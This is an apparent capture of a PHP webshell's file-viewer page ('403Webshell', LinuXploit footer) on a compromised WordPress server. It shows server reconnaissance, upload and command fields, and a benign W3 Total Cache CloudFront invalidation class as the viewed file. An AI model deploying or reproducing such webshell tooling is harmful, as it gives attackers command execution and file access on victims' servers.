403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/domains/ndb/wp-content/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/domains/ndb/wp-content/w3-total-cache/Cdnfsd_CloudFront_Engine.php
<?php
namespace W3TC;

if ( !defined( 'W3TC_SKIPLIB_AWS' ) ) {
	require_once W3TC_LIB_DIR . '/Aws/aws-autoloader.php';
}



class Cdnfsd_CloudFront_Engine {
	private $access_key;
	private $secret_key;
	private $distribution_id;



	public function __construct( $config = array() ) {
		$this->access_key = $config['access_key'];
		$this->secret_key = $config['secret_key'];
		$this->distribution_id = $config['distribution_id'];
	}



	public function flush_urls( $urls ) {
		$api = $this->_api();

		$uris = array();
		foreach ( $urls as $url ) {
			$parsed = parse_url( $url );
			$relative_url =
				( isset( $parsed['path'] ) ? $parsed['path'] : '/' ) .
				( isset( $parsed['query'] ) ? '?' . $parsed['query'] : '' );
			$uris[] = $relative_url;
		}

		$api->createInvalidation( array(
				'DistributionId' => $this->distribution_id,
				'InvalidationBatch' => array(
					'CallerReference' => 'w3tc-' . 	microtime(),
					'Paths' => array(
						'Items' => $uris,
						'Quantity' => count( $uris ),
					),
				)
			)
		);
	}



	/**
	 * Flushes CDN completely
	 */
	public function flush_all() {
		$api = $this->_api();
		$uris = array( '/*' );

		$api->createInvalidation( array(
				'DistributionId' => $this->distribution_id,
				'InvalidationBatch' => array(
					'CallerReference' => 'w3tc-' . 	microtime(),
					'Paths' => array(
						'Items' => $uris,
						'Quantity' => count( $uris ),
					),
				)
			)
		);
	}



	private function _api() {
		if ( empty( $this->access_key ) || empty( $this->secret_key ) ||
			empty( $this->distribution_id ) )
			throw new \Exception( __( 'Access key not specified.', 'w3-total-cache' ) );

		$credentials = new \Aws\Credentials\Credentials(
			$this->access_key, $this->secret_key );

		return new \Aws\CloudFront\CloudFrontClient( array(
				'credentials' => $credentials,
				'region' => 'us-east-1',
				'version' => '2018-11-05'
			)
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit